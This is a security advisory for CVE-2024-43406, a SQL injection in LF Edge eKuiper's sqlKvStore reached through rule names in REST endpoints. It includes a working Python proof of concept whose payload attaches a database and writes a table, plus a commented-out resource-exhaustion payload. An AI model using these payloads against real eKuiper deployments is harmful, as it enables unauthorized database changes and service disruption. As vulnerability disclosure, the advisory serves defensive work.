🛡️ CVE-2024-43406 — ekuiper

LF Edge eKuiper has a SQL Injection in sqlKvStore

Summary

A user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore.

Details

I will use explainRuleHandler ("/rules/{name}/explain") as an example to illustrate. However, this vulnerability also exists in other methods such as sourceManageHandler, asyncTaskCancelHandler, pluginHandler, etc.

The SQL injection can happen in the code:

https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/pkg/store/sql/sqlKv.go#L89-L93

The code to accept user input is:

https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/server/rest.go#L274-L277

The rule id in the above code can be used to exploit SQL query.

Note that the delete function is also vulnerable:

https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/pkg/store/sql/sqlKv.go#L138-L141

PoC

```

import requests

from urllib.parse import quote

# SELECT val FROM 'xxx' WHERE key='%s';

payload = f"""'; ATTACH DATABASE 'test93' AS test93;

CREATE TABLE test93.pwn (dataz text);

INSERT INTO test93.pwn (dataz) VALUES ("sql injection");--"""

#payload = "deadbeef'; SELECT 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(100000000))));--"

url = f"http://127.0.0.1:9081/rules/{quote(payload,safe='')}/explain" # explainRuleHandler

res = requests.get(url)

print(res.content)

```
